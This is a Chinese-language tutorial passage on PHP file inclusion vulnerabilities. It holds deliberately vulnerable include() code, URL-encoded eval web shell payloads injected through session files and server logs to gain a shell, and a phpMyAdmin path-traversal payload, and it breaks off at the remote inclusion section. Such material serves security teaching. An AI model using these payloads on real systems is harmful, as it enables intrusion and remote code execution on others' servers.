流程
一、文件包含原理
示例代码
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制包含其他的恶意文件,导致执行了非预期的代码
<?php
$filename = $_GET['filename'];
include($filename);
?>
$_GET['filename']
参数没有经过严格的过滤,直接带入了include函数,攻击者可以修改$_GET['filename']
的值,执行非预期操作
二、本地文件包含漏洞
include
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
$filename
参数可控
我们在C:\Windows\目录下新建一个test.txt,并在文件里面输入this is a test file。
当我们向filename传入路径文件时,由于这个文件是纯文本,服务器会向我们输出文件里面的内容
我们可以利用这个来包含服务器的敏感文件,以下是一些常见的敏感文件路径:
session
根据cookie中的session值,我们就可以找到服务器上的session文件
测试代码:
<?php
session_start();
$user = $_GET['user'];
$_SESSION['username'] = $user;
?>
当我们向目标网站传入test时:
http://192.168.1.88/?user=test
我们的cookie中出现了对应的信息:
当我们去服务器上查找这个文件时,发现服务器上出现了对应的文件,且里面记录的字符串正是我们传入的信息:
可以看到我们的test被存储到session文件中,利用这点我们可以向session文件中写shell,通过包含session文件来getshell
http://192.168.1.88/index.php?user=%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%20%3F%3E
包含日志文件
测试代码:
<?php
$f = $_GET['f'];
include($f);
?>
当我们找到包含点时,只需要访问:
http://192.168.1.88/test.php?f=%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%20%3F%3E
向日志中写入shell,包含日志文件,即可getshell
phpMyAdmain 本地文件包含漏洞
具体绕过不细讲,我们只要知道是可以绕过的,利用payload:
http://localhost/index.php?target=db_sql.php%253f../../../../../../../flag
常见绕过手段
当然本地文件包含漏洞会有一些防护手段,我们总结了一些绕过手段:
url编码
路径长度截断
三、远程文件包含漏洞
测试代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>